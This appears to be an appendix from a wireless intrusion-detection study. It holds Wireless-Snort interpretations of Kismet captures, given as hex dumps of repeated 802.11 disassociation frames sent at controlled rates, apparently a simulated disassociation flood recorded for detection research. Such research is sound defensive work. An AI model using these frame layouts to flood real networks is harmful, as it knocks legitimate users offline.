=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-22:55:24.940754 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags:

0x0000: A0 00 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 70 6C 05 00                    ......pl..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-22:55:24.941489 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 70 6C 05 00                    ......pl..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-22:55:24.943463 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 70 6C 05 00                    ......pl..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-22:55:25.214357 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 80 6C 05 00                    .......l..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-22:55:25.252890 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 80 6C 05 00                    .......l..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-22:55:25.432064 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags:

0x0000: A0 00 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 90 6C 05 00                    .......l..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-22:55:25.553134 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 90 6C 05 00                    .......l..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-22:55:25.752583 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags:

0x0000: A0 00 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 A0 6C 05 00                    .......l..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-22:55:25.803131 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 A0 6C 05 00                    .......l..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-22:55:25.863448 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 A0 6C 05 00                    .......l..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-22:55:25.975474 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags:

0x0000: A0 00 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 C0 6C 05 00                    .......l..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-22:55:26.031185 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 C0 6C 05 00                    .......l..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-22:55:26.185302 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags:

0x0000: A0 00 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 D0 6C 05 00                    .......l..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-22:55:26.263515 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 D0 6C 05 00                    .......l..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-22:55:26.277693 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 D0 6C 05 00                    .......l..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-22:55:26.423103 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags:

0x0000: A0 00 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 E0 6C 05 00                    .......l..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-22:55:26.482401 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 E0 6C 05 00                    .......l..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-22:55:26.486691 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 E0 6C 05 00                    .......l..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-22:55:26.764254 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 F0 6C 05 00                    .......l..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-22:55:26.860829 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags:

0x0000: A0 00 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 00 6D 05 00                    .......m..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-22:55:26.872866 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 00 6D 05 00                    .......m..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-22:55:26.874057 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 00 6D 05 00                    .......m..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-22:55:27.052407 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags:

0x0000: A0 00 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 10 6D 05 00                    .......m..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-22:55:27.059115 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 10 6D 05 00                    .......m..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-22:55:27.235123 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags:

0x0000: A0 00 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 20 6D 05 00                    ...... m..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-22:55:27.304543 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 20 6D 05 00                    ...... m..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-22:55:27.865141 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags:

0x0000: A0 00 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 50 6D 05 00                    ......Pm..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-22:55:27.902928 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 50 6D 05 00                    ......Pm..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-22:55:28.075101 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags:

0x0000: A0 00 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 60 6D 05 00                    ......`m..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-22:55:28.342798 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 70 6D 05 00                    ......pm..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

Run time for packet processing was 0.7016 seconds

===============================================================================

Snort processed 0 packets.
Appendix 3

Part of File “diassoc_rate_1.log”

Partial Interpretation (by Wireless-Snort) for Dump File Created by Kismet at Rate 1 frame/1second
11/01-23:08:45.439700 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 C0 83 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:08:46.446999 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags:

0x0000: A0 00 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 D0 83 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:08:46.596902 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 D0 83 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:08:46.596903 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 D0 83 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:08:47.482004 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 E0 83 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:08:48.466931 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags:

0x0000: A0 00 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 F0 83 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:08:48.849596 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 F0 83 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:08:48.851222 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 F0 83 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:08:49.477252 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags:

0x0000: A0 00 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 00 84 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:08:49.490557 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 00 84 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:08:49.571997 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 00 84 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:08:50.487437 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags:

0x0000: A0 00 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 10 84 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:08:50.540055 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 10 84 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:08:50.553628 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 10 84 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:08:51.500594 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 20 84 05 00                    ...... ...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:08:51.533181 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 20 84 05 00                    ...... ...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:08:52.540877 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 30 84 05 00                    ......0...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:08:54.527055 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags:

0x0000: A0 00 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 50 84 05 00                    ......P...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:08:54.531430 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 50 84 05 00                    ......P...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:08:54.534063 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 50 84 05 00                    ......P...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:08:56.546653 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags:

0x0000: A0 00 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 70 84 05 00                    ......p...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:08:56.599633 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 70 84 05 00                    ......p...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:08:56.601869 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 70 84 05 00                    ......p...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:08:57.556732 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags:

0x0000: A0 00 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 80 84 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:08:57.580254 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 80 84 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:08:57.601654 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 80 84 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:08:58.566601 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags:

0x0000: A0 00 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 90 84 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:08:58.619621 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 90 84 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:08:59.577301 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags:

0x0000: A0 00 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 A0 84 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:08:59.579346 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 A0 84 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:00.630148 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 B0 84 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:01.599163 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags:

0x0000: A0 00 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 C0 84 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:01.609078 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 C0 84 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:01.636931 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 C0 84 05 00                    ..........

